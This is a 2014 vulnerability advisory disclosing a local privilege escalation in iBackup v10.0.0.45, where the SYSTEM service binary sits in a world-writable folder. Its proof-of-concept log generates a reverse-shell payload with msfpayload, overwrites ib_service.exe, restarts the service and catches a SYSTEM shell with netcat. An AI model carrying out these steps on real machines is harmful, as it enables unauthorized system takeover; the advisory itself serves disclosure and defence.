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iBackup v10.0.0.45 - Privilege Escalation Vulnerability



Document Title:
===============
iBackup v10.0.0.45 - Privilege Escalation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1382


Release Date:
=============
2014-12-18


Vulnerability Laboratory ID (VL-ID):
====================================
1382


Common Vulnerability Scoring System:
====================================
6.2


Product & Service Introduction:
===============================
With IBackup, you can backup/restore interactively or schedule regular online backups for Windows desktops, laptops and servers. 
It has a simple, user- friendly interface coupled with powerful scheduling and logging features. IBackup automatically selects 
critical data (Desktop, Music, Pictures, Videos, Documents, Windows Mail, Favourites) for backup. Advanced features include Open 
file Backup, System State backup, MS SQL Server, MS Exchange Server, Hyper-V, MS SharePoint Server and Oracle Server backups.

(Copy of the Vendor Homepage: https://www.ibackup.com/ibwin/downloads/IBackupsetup.exe )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a a local privilege escalation vulnerability in the official  Pro Softnet Corporation iBackup v10.0.0.45 software.


Vulnerability Disclosure Timeline:
==================================
2014-12-18:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Pro Softnet Corporation
Product: iBackup - Server Software 10.0.0.45


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local privilege escalation vulnerability has been discovered in the official iBackup v10.0.0.45 software.
The vulnerability allows local attackers to gain higher access privileges by execution of arbitrary codes.

The `ibservice` service for windows could potentially allow an authorized but non-privileged local user to 
execute arbitrary code with elevated privileges on the system. A successful attempt would require the local 
user to be able to insert their code in the system root path undetected by the OS or other security applications 
where it could potentially be executed during application startup or reboot. If successful, the local user`s code 
would execute with the elevated privileges of the application.

The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 6.2. Exploitation of the vulnerability requires a local privileged systen user account 
without user for interaction. Successful exploitation of the arbitrary code execution vulnerability results in 
software- or system compromise.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers with low privileged or restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs ---
C:\Users\s-dz\Desktop>sc qc ibservice
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ibservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\IBackupWindows\ib_service.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IBackup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem*
-
C:\Users\s-dz\Desktop>sc qc  ibservice
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ibservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\IBackupWindows\ib_service.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IBackup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
-
C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\Program Files\IBackupWindows\"
C:\Program Files\IBackupWindows
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Tout le monde
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL
  RW NT SERVICE\TrustedInstaller
        FILE_ALL_ACCESS
  RW AUTORITE NT\SystÞme
        FILE_ALL_ACCESS
  RW BUILTIN\Administrateurs
        FILE_ALL_ACCESS
  R  BUILTIN\Utilisateurs
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL

############## PROOF
C:\Users\s-dz\Desktop>net user s-dz
Nom d'utilisateur                              s-dz
Nom complet                                    s-dz
Commentaire
Commentaires utilisateur
Code du pays                                   000 (Valeur par défaut du système)
Compte : actif                                 Oui
Le compte expire                               Jamais

Mot de passe : dernier changmt.                18/12/2014 01:12:55
Le mot de passe expire                         Jamais
Le mot de passe modifiable                     18/12/2014 01:12:55
Mot de passe exigé                             Oui
L'utilisateur peut changer de mot de passe     Oui

Stations autorisées                            Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès                                  18/12/2014 06:04:49

Heures d'accès autorisé                        Tout

Appartient aux groupes locaux                  *Utilisateurs
Appartient aux groupes globaux                 *None
La commande s'est terminée correctement.


C:\Users\s-dz\Desktop>

root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X  >  C:\Users\s-dz\Desktop\evil-ZDserv.exe


C:\Users\s-dz\Desktop>copy evil-ZDserv.exe "C:\Program Files\IBackupWindows\ib_service.exe"
Remplacer C:\Program Files\IBackupWindows\ib_service.exe (Oui/Non/Tous) : o
        1 fichier(s) copié(s).

e will open cmd with administrator for start service ibservice
C:\Users\s-dz\Desktop>sc start  ibservice

now nc ... (user)

C:\Users\s-dz\Desktop>nc.exe -lvp 4433
listening on [any] 4433 ...
connect to [192.168.1.5] from s-dz [192.168.1.5] 16040
Microsoft Windows [version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.

C:\Windows\system32>whoami
whoami
autorite nt\système

C:\Windows\system32>


Security Risk:
==============
The security risk of the of the local privilege escalation software vulnerability in the root path is estimated as high. (CVSS 6.2)


Credits & Authors:
==================
Hadji Samir S-dz@xxxxxxxxxx


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=========================
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